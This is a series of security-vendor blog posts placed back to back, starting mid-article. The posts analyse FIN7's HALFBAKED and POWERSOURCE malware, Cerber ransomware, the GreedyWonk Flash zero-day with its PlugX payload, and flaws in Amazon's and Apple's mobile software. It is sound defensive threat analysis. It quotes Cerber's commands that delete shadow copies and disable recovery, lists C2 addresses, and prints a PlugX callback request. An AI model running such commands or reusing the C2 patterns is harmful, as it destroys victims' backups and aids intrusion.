The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. This version of HALFBAKED connects to the following C2 server:

hxxp://198[.]100.119.6:80/cd
hxxp://198[.]100.119.6:443/cd
hxxp://198[.]100.119.6:8080/cd

This version of HALFBAKED listens for the following commands from the C2 server:

  • info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries
  • processList: Send list of process running
  • screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
  • runvbs: Executes a VB script
  • runexe: Executes EXE file
  • runps1: Executes PowerShell script
  • delete: Delete the specified file
  • update: Update the specified file

All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code:

Function send_data(data)
                random_string = custom_function_to_generate_random_string()
                encoded_data = URLEncode(SimpleEncrypt(data))
                post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url,
Create_Random_Url(class_id))

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor. Click here for more information.

Persistence Mechanism

Figure 3 shows that for persistence, the document creates two scheduled tasks and creates one auto-start registry entry pointing to the LNK file.

Figure 3: FIN7 phishing lure persistence mechanisms

Examining Attacker Shortcut Files

In many cases, attacker-created LNK files can reveal valuable information about the attacker’s development environment. These files can be parsed with lnk-parser to extract all contents. LNK files have been valuable during Mandiant incident response investigations as they include volume serial number, NetBIOS name, and MAC address.

For example, one of these FIN7 LNK files contained the following properties:

  • Version: 0
  • NetBIOS name: andy-pc
  • Droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
  • Droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
  • Birth droid volume identifier: e2c10c40-6f7d-4442-bcec-470c96730bca
  • Birth droid file identifier: a6eea972-0e2f-11e7-8b2d-0800273d5268
  • MAC address: 08:00:27:3d:52:68
  • UUID timestamp: 03/21/2017 (12:12:28.500) [UTC]
  • UUID sequence number: 2861

From this LNK file, we can see not only what the shortcut launched within the string data, but that the attacker likely generated this file on a VirtualBox system with hostname “andy-pc” on March 21, 2017.

Example Phishing Lures

  • Filename: Doc33.docx
  • MD5: 6a5a42ed234910121dbb7d1994ab5a5e
  • Filename: Mail.rtf
  • MD5: 1a9e113b2f3caa7a141a94c8bc187ea7

FIN7 April 2017 Community Protection Event

On April 12, in response to FIN7 actively targeting multiple clients, FireEye kicked off a Community Protection Event (CPE) – a coordinated effort by FireEye as a Service (FaaS), Mandiant, FireEye iSight Intelligence, and our product team – to secure all clients affected by this campaign.

Acknowledgement of Attacks Leveraging Microsoft Zero-Day

FireEye recently detected malicious Microsoft Office RTF documents that leverage a previously undisclosed vulnerability. This vulnerability allows a malicious actor to execute a Visual Basic script when the user opens a document containing an embedded exploit. FireEye has observed several Office documents exploiting the vulnerability that download and execute malware payloads from different well-known malware families.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating for several weeks public disclosure timed with the release of a patch by Microsoft to address the vulnerability. After recent public disclosure by another company, this blog serves to acknowledge FireEye’s awareness and coverage of these attacks.

FireEye email and network solutions detect the malicious documents as: Malware.Binary.Rtf.

Attack Scenario

The attack involves a threat actor emailing a Microsoft Word document to a targeted user with an embedded OLE2link object. When the user opens the document, winword.exe issues a HTTP request to a remote server to retrieve a malicious .hta file, which appears as a fake RTF file. The Microsoft HTA application loads and executes the malicious script. In both observed documents the malicious script terminated the winword.exe process, downloaded additional payload(s), and loaded a decoy document for the user to see. The original winword.exe process is terminated in order to hide a user prompt generated by the OLE2link.

The vulnerability is bypassing most mitigations; however, as noted above, FireEye email and network products detect the malicious documents. Microsoft Office users are recommended to apply the patch as soon as it is available. 

Acknowledgements

FLARE Team, FireEye Labs Team, FireEye iSIGHT Intelligence, and Microsoft Security Response Center (MSRC).

Introducing Monitor.app for macOS

UPDATE 2 (Oct. 24, 2018): Monitor.app now supports macOS 10.14.

UPDATE (April 4, 2018): Monitor.app now supports macOS 10.13.

As a malware analyst or systems programmer, having a suite of solid dynamic analysis tools is vital to being quick and effective. These tools enable us to understand malware capabilities and undocumented components of the operating system. One obvious tool that comes to mind is Procmon from the legendary Sysinternals Suite from Microsoft. Those tools only work on Windows though and we love macOS.

macOS has some fantastic dynamic instrumentation software included with the operating system and Xcode. In the past, we have used dynamic instrumentation tools such as Dtrace, a very powerful tracing subsystem built into the core of macOS. While it is very powerful and efficient, it commonly required us to write D scripts to get the interesting bits. We wanted something simpler.

Today, the Innovation and Custom Engineering (ICE) Applied Research team presents the public release of Monitor.app for macOS, a simple GUI application for monitoring common system events on a macOS host. Monitor.app captures the following event types:

  • Process execution with command line arguments
  • File creates (if data is written)
  • File renames
  • Network activity
  • DNS requests and replies
  • Dynamic library loads
  • TTY Events

Monitor.app identifies system activities using a kernel extension (kext). Its focus is on capturing data that matters, with context. These events are presented in the UI with a rich search capability allowing users to hunt through event data for areas of interest.

The goal of Monitor is simplicity. When launching Monitor, the user is prompted for root credentials to launch a process and load our kext (don’t worry, the main UI process doesn’t run as root). From there, the user can click on the start button and watch the events roll in!

The UI is sparse with a few key features. There is the start/stop button, filter buttons, and a search bar. The search bar allows us to set simple filters on types of data we may want to filter or search for over all events. The event table is a listing of all the events Monitor is capable of presenting to the user. The filter buttons allow the user to turn off some classes of events. For example, if a TimeMachine backup were to kick off when the user was trying to analyze a piece of malware, the user can click the file system filter button and the file write events won’t clutter the display.

As an example, perhaps we were interested in seeing any processes that communicated with xkcd.com. We can simply use an “Any” filter and enter xkcd into the search bar, as seen in Figure 1.

Figure 1: Monitor.app User Interface

We think you will be surprised how useful Monitor can be when trying to figure out how components of macOS or even malware work under the hood, all without firing up a debugger or D script.

Click here to download Monitor.app. Please send any feature requests/bugs to monitorapp-bugs@fireeye.com.

Apple, Mac and MacOS are registered trademarks or trademarks of Apple Inc.

M-Trends 2017: A View From the Front Lines

Every year Mandiant responds to a large number of cyber attacks, and 2016 was no exception. For our M-Trends 2017 report, we took a look at the incidents we investigated last year and provided a global and regional (the Americas, APAC and EMEA) analysis focused on attack trends, and defensive and emerging trends.

When it comes to attack trends, we’re seeing a much higher degree of sophistication than ever before. Nation-states continue to set a high bar for sophisticated cyber attacks, but some financial threat actors have caught up to the point where we no longer see the line separating the two. These groups have greatly upped their game and are thinking outside the box as well. One unexpected tactic we observed is attackers calling targets directly, showing us that they have become more brazen.

While there has been a marked acceleration of both the aggressiveness and sophistication of cyber attacks, defensive capabilities have been slower to evolve. We have observed that a majority of both victim organizations and those working diligently on defensive improvements are still lacking adequate fundamental security controls and capabilities to either prevent breaches or to minimize the damages and consequences of an inevitable compromise.

Fortunately, we’re seeing that organizations are becoming better are identifying breaches. The global median time from compromise to discovery has dropped significantly from 146 days in 2015 to 99 days 2016, but it’s still not good enough. As we noted in M-Trends 2016, Mandiant’s Red Team can obtain access to domain administrator credentials within roughly three days of gaining initial access to an environment, so 99 days is still 96 days too long.

We strongly recommend that organizations adopt a posture of continuous cyber security, risk evaluation and adaptive defense or they risk having significant gaps in both fundamental security controls and – more critically – visibility and detection of targeted attacks.

On top of our analysis of recent trends, M-Trends 2017 contains insights from our FireEye as a Service (FaaS) teams for the second consecutive year. FaaS monitors organizations 24/7, which gives them a unique perspective into the current threat landscape. Additionally, this year we partnered with law firm DLA Piper for a discussion of the upcoming changes in EMEA data protection laws.

You can learn more in our M-Trends 2017 report. Additionally, you can register for our live webinar on March 29, 2017, to hear more from our experts.

FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings

In late February 2017, FireEye as a Service (FaaS) identified a spear phishing campaign that appeared to be targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. Based on multiple identified overlaps in infrastructure and the use of similar tools, tactics, and procedures (TTPs), we have high confidence that this campaign is associated with the financially motivated threat group tracked by FireEye as FIN7.

FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware. We have observed FIN7 attempt to compromise diverse organizations for malicious operations – usually involving the deployment of point-of-sale malware – primarily against the retail and hospitality industries.

Spear Phishing Campaign

All of the observed intended recipients of the spear phishing campaign appeared to be involved with SEC filings for their respective organizations. Many of the recipients were even listed in their company’s SEC filings. The sender email address was spoofed as EDGAR <filings@sec.gov> and the attachment was named “Important_Changes_to_Form10_K.doc” (MD5: d04b6410dddee19adec75f597c52e386). An example email is shown in Figure 1.

Figure 1: Example of a phishing email sent during this campaign

We have observed the following TTPs with this campaign:

  • The malicious documents drop a VBS script that installs a PowerShell backdoor, which uses DNS TXT records for its command and control. This backdoor appears to be a new malware family that FireEye iSIGHT Intelligence has dubbed POWERSOURCE. POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams. Using DNS TXT records to communicate is not an entirely new finding, but it should be noted that this has been a rising trend since 2013 likely because it makes detection and hunting for command and control traffic difficult.
  • We also observed POWERSOURCE being used to download a second-stage PowerShell backdoor called TEXTMATE in an effort to further infect the victim machine. The TEXTMATE backdoor provides a reverse shell to attackers and uses DNS TXT queries to tunnel interactive commands and other data. TEXTMATE is “memory resident” – often described as “fileless” malware. This is not a novel technique by any means, but it’s worth noting since it presents detection challenges and further speaks to the threat actor’s ability to remain stealthy and nimble in operations.
  • In some cases, we identified a Cobalt Strike Beacon payload being delivered via POWERSOURCE. This particular Cobalt Strike stager payload was previously used in operations linked to FIN7.
  • We observed that the same domain hosting the Cobalt Strike Beacon payload was also hosting a CARBANAK backdoor sample compiled in February 2017. CARBANAK malware has been used heavily by FIN7 in previous operations.
Victims

Thus far, we have directly identified 11 targeted organizations in the following sectors:

  • Financial services, with different victims having insurance, investment, card services, and loan focuses
  • Transportation
  • Retail
  • Education
  • IT services
  • Electronics

All these organizations are based in the United States, and many have international presences. As the SEC is a U.S. regulatory organization, we would expect recipients of these spear phishing attempts to either work for U.S.-based organizations or be U.S.-based representatives of organizations located elsewhere. However, it is possible that the attackers could perform similar activity mimicking other regulatory organizations in other countries.

Implications

We have not yet identified FIN7’s ultimate goal in this campaign, as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft.  However, we surmise FIN7 can profit from compromised organizations in several ways. If the attackers are attempting to compromise persons involved in SEC filings due to their information access, they may ultimately be pursuing securities fraud or other investment abuse. Alternatively, if they are tailoring their social engineering to these individuals, but have other goals once they have established a foothold, they may intend to pursue one of many other fraud types.

Previous FIN7 operations deployed multiple point-of-sale malware families for the purpose of collecting and exfiltrating sensitive financial data. The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions, ATM compromise, and other monetization schemes.

Community Protection Event

FireEye implemented a Community Protection Event – FaaS, Mandiant, Intelligence, and Products – to secure all clients affected by this campaign. In this instance, an incident detected by FaaS led to the deployment of additional detections by the FireEye Labs team after FireEye Labs Advanced Reverse Engineering quickly analyzed the malware. Detections were then quickly deployed to the suite of FireEye products.

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the POWERSOURCE and TEXTMATE malware. Click here for more information.

M-Trends Asia Pacific: Organizations Must Improve at Detecting and Responding to Breaches

Since 2010, Mandiant, a FireEye company, has presented trends, statistics and case studies of some of the largest and most sophisticated cyber attacks. In February 2016, we released our annual global M-Trends® report based on data from the breaches we responded to in 2015. Now, we are releasing M-Trends Asia Pacific, our first report to focus on this very diverse and dynamic region.

Some of the key findings include:

  • Most breaches in the Asia Pacific region never became public. Most governments and industry-governing bodies are without effective breach disclosure laws, although this is slowly changing.
  • The median time of discovery of an attack was 520 days after the initial compromise. This is 374 days longer than the global median of 146 days.
  • Mandiant was engaged by many organizations that have already conducted forensic investigations (internally or using third parties), but failed to eradicate the attackers from their environments. These efforts sometimes made matters worse by destroying or damaging the forensic evidence needed to understand the full extent of a breach or to attribute activity to a specific threat actor.
  • Some attacker tools were used to almost exclusively target organizations within APAC. In April 2015, we uncovered the malicious efforts of APT30, a suspected China-based threat group that has exploited the networks of governments and organizations across the region, targeting highly sensitive political, economic and military information.

Download M-Trends Asia Pacific to learn more.

Analyzing the Malware Analysts – Inside FireEye’s FLARE Team

At the Black Hat USA 2016 conference in Las Vegas last week, I was fortunate to sit down with Michael Sikorski, Director, FireEye Labs Advanced Reverse Engineering (FLARE) Team.

During our conversation we discussed the origin of the FLARE team, what it takes to analyze malware, Michael’s book “Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software,” and the latest open source freeware tools FLOSS and FakeNet-NG.

Listen to the full podcast here.

Cerber: Analyzing a Ransomware Attack Methodology To Enable Protection

Ransomware is a common method of cyber extortion for financial gain that typically involves users being unable to interact with their files, applications or systems until a ransom is paid. Accessibility of cryptocurrency such as Bitcoin has directly contributed to this ransomware model. Based on data from FireEye Dynamic Threat Intelligence (DTI), ransomware activities have been rising fairly steadily since mid-2015.

On June 10, 2016, FireEye’s HX detected a Cerber ransomware campaign involving the distribution of emails with a malicious Microsoft Word document attached. If a recipient were to open the document a malicious macro would contact an attacker-controlled website to download and install the Cerber family of ransomware.

Exploit Guard, a major new feature of FireEye Endpoint Security (HX), detected the threat and alerted HX customers on infections in the field so that organizations could inhibit the deployment of Cerber ransomware. After investigating further, the FireEye research team worked with security agency CERT-Netherlands, as well as web hosting providers who unknowingly hosted the Cerber installer, and were able to shut down that instance of the Cerber command and control (C2) within hours of detecting the activity. With the attacker-controlled servers offline, macros and other malicious payloads configured to download are incapable of infecting users with ransomware.

FireEye hasn’t seen any additional infections from this attacker since shutting down the C2 server, although the attacker could configure one or more additional C2 servers and resume the campaign at any time. This particular campaign was observed on six unique endpoints from three different FireEye endpoint security customers. HX has proven effective at detecting and inhibiting the success of Cerber malware.

Attack Process

The Cerber ransomware attack cycle we observed can be broadly broken down into eight steps:

  1. Target receives and opens a Word document.
  2. Macro in document is invoked to run PowerShell in hidden mode.
  3. Control is passed to PowerShell, which connects to a malicious site to download the ransomware.
  4. On successful connection, the ransomware is written to the disk of the victim.
  5. PowerShell executes the ransomware.
  6. The malware configures multiple concurrent persistence mechanisms by creating command processor, screensaver, startup.run and runonce registry entries.
  7. The executable uses native Windows utilities such as WMIC and/or VSSAdmin to delete backups and shadow copies.
  8. Files are encrypted and messages are presented to the user requesting payment.

Rather than waiting for the payload to be downloaded or started around stage four or five of the aforementioned attack cycle, Exploit Guard provides coverage for most steps of the attack cycle – beginning in this case at the second step.

The most common way to deliver ransomware is via Word documents with embedded macros or a Microsoft Office exploit. FireEye Exploit Guard detects both of these attacks at the initial stage of the attack cycle.

PowerShell Abuse

When the victim opens the attached Word document, the malicious macro writes a small piece of VBScript into memory and executes it. This VBScript executes PowerShell to connect to an attacker-controlled server and download the ransomware (profilest.exe), as seen in Figure 1.

Figure 1. Launch sequence of Cerber – the macro is responsible for invoking PowerShell and PowerShell downloads and runs the malware

It has been increasingly common for threat actors to use malicious macros to infect users because the majority of organizations permit macros to run from Internet-sourced office documents.

In this case we observed the macrocode calling PowerShell to bypass execution policies – and run in hidden as well as encrypted mode – with the intention that PowerShell would download the ransomware and execute it without the knowledge of the victim.

Further investigation of the link and executable showed that every few seconds the malware hash changed with a more current compilation timestamp and different appended data bytes – a technique often used to evade hash-based detection.

Cerber in Action

Initial payload behavior

Upon execution, the Cerber malware will check to see where it is being launched from. Unless it is being launched from a specific location (%APPDATA%\&#60GUID&#62), it creates a copy of itself in the victim's %APPDATA% folder under a filename chosen randomly and obtained from the %WINDIR%\system32 folder.

If the malware is launched from the specific aforementioned folder and after eliminating any blacklisted filenames from an internal list, then the malware creates a renamed copy of itself to “%APPDATA%\&#60GUID&#62” using a pseudo-randomly selected name from the “system32” directory. The malware executes the malware from the new location and then cleans up after itself.

Shadow deletion

As with many other ransomware families, Cerber will bypass UAC checks, delete any volume shadow copies and disable safe boot options. Cerber accomplished this by launching the following processes using respective arguments:

Vssadmin.exe "delete shadows /all /quiet"

WMIC.exe "shadowcopy delete"

Bcdedit.exe "/set {default} recoveryenabled no"

Bcdedit.exe "/set {default} bootstatuspolicy ignoreallfailures

Coercion

People may wonder why victims pay the ransom to the threat actors. In some cases it is as simple as needing to get files back, but in other instances a victim may feel coerced or even intimidated. We noticed these tactics being used in this campaign, where the victim is shown the message in Figure 2 upon being infected with Cerber.

Figure 2. A message to the victim after encryption

The ransomware authors attempt to incentivize the victim into paying quickly by providing a 50 percent discount if the ransom is paid within a certain timeframe, as seen in Figure 3.

 

 

Figure 3. Ransom offered to victim, which is discounted for five days

Multilingual Support

As seen in Figure 4, the Cerber ransomware presented its message and instructions in 12 different languages, indicating this attack was on a global scale.

Figure 4.   Interface provided to the victim to pay ransom supports 12 languages

Encryption

Cerber targets 294 different file extensions for encryption, including .doc (typically Microsoft Word documents), .ppt (generally Microsoft PowerPoint slideshows), .jpg and other images. It also targets financial file formats such as. ibank (used with certain personal finance management software) and .wallet (used for Bitcoin).

Selective Targeting

Selective targeting was used in this campaign. The attackers were observed checking the country code of a host machine’s public IP address against a list of blacklisted countries in the JSON configuration, utilizing online services such as ipinfo.io to verify the information. Blacklisted (protected) countries include: Armenia, Azerbaijan, Belarus, Georgia, Kyrgyzstan, Kazakhstan, Moldova, Russia, Turkmenistan, Tajikistan, Ukraine, and Uzbekistan.

The attack also checked a system's keyboard layout to further ensure it avoided infecting machines in the attackers geography: 1049—Russian, ¨ 1058—Ukrainian, 1059—Belarusian, 1064—Tajik, 1067—Armenian, 1068—Azeri, (Latin), 1079—Georgian, 1087—Kazakh, 1088—Kyrgyz (Cyrillic), 1090—Turkmen, 1091—Uzbek (Latin), 2072—Romanian (Moldova), 2073—Russian (Moldova), 2092—Azeri (Cyrillic), 2115—Uzbek (Cyrillic).

Selective targeting has historically been used to keep malware from infecting endpoints within the author’s geographical region, thus protecting them from the wrath of local authorities. The actor also controls their exposure using this technique. In this case, there is reason to suspect the attackers are based in Russia or the surrounding region.

Anti VM Checks

The malware searches for a series of hooked modules, specific filenames and paths, and known sandbox volume serial numbers, including: sbiedll.dll, dir_watch.dll, api_log.dll, dbghelp.dll, Frz_State, C:\popupkiller.exe, C:\stimulator.exe, C:\TOOLS\execute.exe, \sand-box\, \cwsandbox\, \sandbox\, 0CD1A40, 6CBBC508, 774E1682, 837F873E, 8B6F64BC.

Aside from the aforementioned checks and blacklisting, there is also a wait option built in where the payload will delay execution on an infected machine before it launches an encryption routine. This technique was likely implemented to further avoid detection within sandbox environments.

Persistence

Once executed, Cerber deploys the following persistence techniques to make sure a system remains infected:

  • A registry key is added to launch the malware instead of the screensaver when the system becomes idle.
  • The “CommandProcessor” Autorun keyvalue is changed to point to the Cerber payload so that the malware will be launched each time the Windows terminal, “cmd.exe”, is launched.
  • A shortcut (.lnk) file is added to the startup folder. This file references the ransomware and Windows will execute the file immediately after the infected user logs in.
  • Common persistence methods such as run and runonce key are also used.
A Solid Defense

Mitigating ransomware malware has become a high priority for affected organizations because passive security technologies such as signature-based containment have proven ineffective.

Malware authors have demonstrated an ability to outpace most endpoint controls by compiling multiple variations of their malware with minor binary differences. By using alternative packers and compilers, authors are increasing the level of effort for researchers and reverse-engineers. Unfortunately, those efforts don’t scale.

Disabling support for macros in documents from the Internet and increasing user awareness are two ways to reduce the likelihood of infection. If you can, consider blocking connections to websites you haven’t explicitly whitelisted. However, these controls may not be sufficient to prevent all infections or they may not be possible based on your organization.

FireEye Endpoint Security with Exploit Guard helps to detect exploits and techniques used by ransomware attacks (and other threat activity) during execution and provides analysts with greater visibility. This helps your security team conduct more detailed investigations of broader categories of threats. This information enables your organization to quickly stop threats and adapt defenses as needed.

Conclusion

Ransomware has become an increasingly common and effective attack affecting enterprises, impacting productivity and preventing users from accessing files and data.

Mitigating the threat of ransomware requires strong endpoint controls, and may include technologies that allow security personnel to quickly analyze multiple systems and correlate events to identify and respond to threats.

HX with Exploit Guard uses behavioral intelligence to accelerate this process, quickly analyzing endpoints within your enterprise and alerting your team so they can conduct an investigation and scope the compromise in real-time.

Traditional defenses don’t have the granular view required to do this, nor can they connect the dots of discreet individual processes that may be steps in an attack. This takes behavioral intelligence that is able to quickly analyze a wide array of processes and alert on them so analysts and security teams can conduct a complete investigation into what has, or is, transpiring. This can only be done if those professionals have the right tools and the visibility into all endpoint activity to effectively find every aspect of a threat and deal with it, all in real-time. Also, at FireEye, we go one step ahead and contact relevant authorities to bring down these types of campaigns.

Click here for more information about Exploit Guard technology.

APT28: A Window into Russia’s Cyber Espionage Operations?

The role of nation-state actors in cyber attacks was perhaps most widely revealed in February 2013 when Mandiant released the APT1 report, which detailed a professional cyber espionage group based in China. Today we release a new report: APT28: A Window Into Russia’s Cyber Espionage Operations?

This report focuses on a threat group that we have designated as APT28. While APT28’s malware is fairly well known in the cybersecurity community, our report details additional information exposing ongoing, focused operations that we believe indicate a government sponsor based in Moscow.

In contrast with the China-based threat actors that FireEye tracks, APT28 does not appear to conduct widespread intellectual property theft for economic gain. Instead, APT28 focuses on collecting intelligence that would be most useful to a government. Specifically, FireEye found that since at least 2007, APT28 has been targeting privileged information related to governments, militaries and security organizations that would likely benefit the Russian government.

In our report, we also describe several malware samples containing details that indicate that the developers are Russian language speakers operating during business hours that are consistent with the time zone of Russia’s major cities, including Moscow and St. Petersburg. FireEye analysts also found that APT28 has systematically evolved its malware since 2007, using flexible and lasting platforms indicative of plans for long-term use and sophisticated coding practices that suggest an interest in complicating reverse engineering efforts.

We assess that APT28 is most likely sponsored by the Russian government based on numerous factors summarized below:

Table for APT28

FireEye is also releasing indicators to help organizations detect APT28 activity. Those indicators can be downloaded at https://github.com/fireeye/iocs.

As with the APT1 report, we recognize that no single entity completely understands the entire complex picture of intense cyber espionage over many years. Our goal by releasing this report is to offer an assessment that informs and educates the community about attacks originating from Russia. The complete report can be downloaded here: /content/dam/legacy/resources/pdfs/apt28.pdf.

Amazon’s Mobile Shopping Clients and CAPTCHA

Amazon is a popular online retailer serving millions of users. Unfortunately, FireEye mobile security researchers have found security issues within Amazon’s mobile apps on both Android and iOS platforms through which attackers can crack the passwords of target Amazon accounts. Amazon confirmed our findings and hot fixed the issue.

Recently, we found two security issues within Amazon’s mobile apps on both Android and iOS platforms:

  • No limitation or CAPTCHA for password attempts
  • Weak password policy

Attackers can exploit these two security issues remotely against target Amazon accounts.

fig1 Figure 1. Verification Code for Wrong Password Attempts

A CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") is a challenge-response test designed to determine whether the user is a human. CAPTCHAs are well adopted for preventing programmed bots from accessing online services for bad purposes, such as conducting denial-of-service attacks, harvesting information and cracking passwords.

The web version of Amazon requires the user to complete a CAPTCHA after ten incorrect password attempts (Figure 1), to prevent password cracking. However, Amazon’s mobile apps haven’t adopted such protection using CAPTCHA (Figure 2 and Figure 3). This design flaw provides attackers the chance to crack any Amazon account’s password using brute force.

 fig2 Figure 2. Amazon Android App

fig3 Figure 3. Amazon iOS App

Furthermore, Amazon doesn’t have a strong password strength requirement. It accepts commonly used weak passwords such as "123456" and "111111". We know that the weaker the password, the easier for hackers to break into an account. Therefore, allowing weak passwords puts account safety to potential security risks. Given that there are many well-known previous password leakages, attackers can use these password leakages as knowledge bases to conduct password cracking.

As a proof of concept, we figured out the password of one Amazon account we setup within 1000 attempts, using the latest version (2.8.0) of Amazon’s Android shopping client.

After receiving our vulnerability report, Amazon hot fixed the first issue by patching their server. Now if the user tries multiple incorrect passwords, the server will block the user from login (Figure 4). In the future, we suggest adding CAPTCHA support for Amazon mobile (Android and iOS) apps, and enforcing requirements for stronger passwords.

fig4 Figure 4. Wrong Password Block

Background Monitoring on Non-Jailbroken iOS 7 Devices — and a Mitigation

Background monitoring mobile applications has become a hot topic on mobile devices. Existing reports show that such monitoring can be conducted on jailbroken iOS devices. FireEye mobile security researchers have discovered such vulnerability, and found approaches to bypass Apple's app review process effectively and exploit non-jailbroken iOS 7 successfully. We have been collaborating with Apple on this issue.

fig1

Fig.1 Background Monitoring

We have created a proof-of-concept "monitoring" app on non-jailbroken iOS 7.0.x devices. This “monitoring” app can record all the user touch/press events in the background, including, touches on the screen, home button press, volume button press, and TouchID press, and then this app can send all user events to any remote server, as shown in Fig.1. Potential attackers can use such information to reconstruct every character the victim inputs.

Note that the demo exploits the latest 7.0.4 version of iOS system on a non-jailbroken iPhone 5s device successfully. We have verified that the same vulnerability also exists in iOS versions 7.0.5, 7.0.6, and 6.1.x. Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring.

fig2

Fig.2 Background App Refresh Settings

fig3

Fig.3 Killing An App on iOS7

iOS7 provides settings for "background app refresh". Disabling unnecessary app's background refreshing contributes to preventing the potential background monitoring. However, it can be bypassed. For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring.

Before Apple fixes this issue, the only way for iOS users to avoid this security risk is to use the iOS task manager to stop the apps from running in the background to prevent potential background monitoring. iOS7 users can press the Home button twice to enter the task manager and see preview screens of apps opened, and then swipe an app up and out of preview to disable unnecessary or suspicious applications running on the background, as shown in Fig.3.

We conducted this research independently before we were aware of this recent report. We hope this blog could help users understand and mitigate this threat further.

Acknowledgement: Special thanks to Jari Salomaa for his valuable comments and feedback. We also thank Raymond Wei, Dawn Song, and Zheng Bu for their valuable help on writing this blog.

Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit

Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin.

As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit. We’re dubbing this attack “Operation GreedyWonk.”

We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.

The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.

Discovery

On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.

We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.

Mitigation

To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations:

  • Windows XP
  • Windows 7 and Java 1.6
  • Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010

Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.

These mitigations do not patch the underlying vulnerability. But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.

Vulnerability analysis

GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.

ASLR bypass

The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).

For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).

On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.

Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That’s why FireEye strongly recommends upgrading to Java 1.7.

The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.

Shellcode analysis

The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function.

PlugX/Kaba payload analysis

Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.

This PlugX payload was configured with the following command-and-control (CnC) domains:

  • java.ns1[.]name
  • adservice.no-ip[.]org
  • wmi.ns01[.]us

Sample callback traffic was as follows:

POST /D28419029043311C6F8BF9F5 HTTP/1.1

Accept: */*

HHV1: 0

HHV2: 0

HHV3: 61456

HHV4: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1)

Host: java.ns1.name

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

Campaign analysis

Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.  java.ns1[.]name also resolved to 192.74.246.219 on February 18.
